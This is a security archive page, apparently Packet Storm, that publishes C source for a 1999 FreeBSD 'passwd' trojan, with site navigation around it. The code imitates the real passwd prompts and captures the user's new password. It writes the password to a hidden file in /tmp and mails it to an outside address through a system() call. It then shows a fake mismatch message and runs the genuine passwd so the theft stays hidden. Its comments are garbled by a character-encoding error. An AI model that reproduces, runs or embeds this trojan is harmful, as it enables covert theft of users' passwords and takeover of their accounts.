what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

passwd_freebsd.c

passwd_freebsd.c
Posted Nov 5, 1999
Authored by shadowpenguin

Passwd trojan for freeBSD.

tags | trojan
systems | unix, freebsd
SHA-256 | cdd23a2c21d690c20992f80c2ec62f9026e95849ee543c69944edba7a913e4b0

passwd_freebsd.c

Change Mirror Download
/*=============================================================================
SU Trojan Ver2.00 for FreeBSD
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/

#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>

/* ƒpƒXƒ[ƒh‚ð’Ê’m‚·‚郁ƒAƒh */
/* ˆÈ‰º‚Ì1s‚ðíœ‚·‚é‚ƃ[ƒ‹’Ê’m‚͍s‚í‚ê‚Ü‚¹‚ñ */
#define MAIL "hohoho@hacker.net"

/* ƒƒMƒ“ƒOƒtƒ@ƒCƒ‹. Œ©‚‚©‚è‚É‚­‚¢–¼‘O‚ɕύX */
#define LOGFILE "/tmp/.pl"

#define MSG_PERMERR "passwd: Permission denied\n"
#define MSG_DOESNTEXIST "passwd: unknown user %s\n"
#define MSG_BANNER "Changing password for %s.\n"
#define MSG_OLDPASS "Old password:"
#define MSG_BADOLDPASS "passwd: /etc/master.passwd: unchanged\n"
#define MSG_NEWPASS "New password:"
#define MSG_RENEWPAS "Retype new password: "
#define MSG_TOOSHORT "Please enter a password at least 6 characters in length.\n"
#define MSG_INVALID "Please don't use an all-lower case password.\n"\
"Unusual capitalization, control characters or digits are suggested.\n"
#define MSG_DONTMATCH "Mismatch; try again, EOF to quit.\n"

#define TMPFILE "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD 200

main(int argc,char *argv[])
{
int uid=getuid();
struct passwd p;
char oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
char *getpass_sys(char *);
char username[MAX_USERNAME];
char buf[200];
FILE *fp;

memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (argc==1)
strcpy(username,p.pw_name);
else{
strncpy(username,argv[1],MAX_USERNAME-1);
username[MAX_USERNAME-1]=0;
if (getpwnam(argv[1])==NULL){
printf(MSG_DOESNTEXIST,argv[1]);
exit(1);
}
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (uid!=0 && strcmp(p.pw_name,argv[1])){
printf(MSG_PERMERR);
exit(1);
}
}

printf(MSG_BANNER,username);
if (uid!=0){
strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
oldpasswd[MAX_PASSWD-1]=0;
if (strlen(oldpasswd)==0){
printf(MSG_PERMERR);
printf(MSG_BADOLDPASS);
exit(1);
}
}
strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
newpasswd[MAX_PASSWD-1]=0;
strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
renewpasswd[MAX_PASSWD-1]=0;
printf(MSG_DONTMATCH);

if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
#ifdef MAIL
if ((fp=fopen(TMPFILE,"w"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
system(buf);
remove(TMPFILE);
#endif
system("passwd");
}
char *getpass_sys(char *d)
{
static char *x;
int i,c1,c2;

for (;;){
x=(char *)getpass(d);
if (strlen(x)<6){
printf(MSG_TOOSHORT);
continue;
}
c1=c2=0;
for (i=0;i<strlen(x);i++){
if ((x[i]>='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++;
else c2++;
}
if (c1<2 || c2==0){
printf(MSG_INVALID);
continue;
}
break;
}
return (x);
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close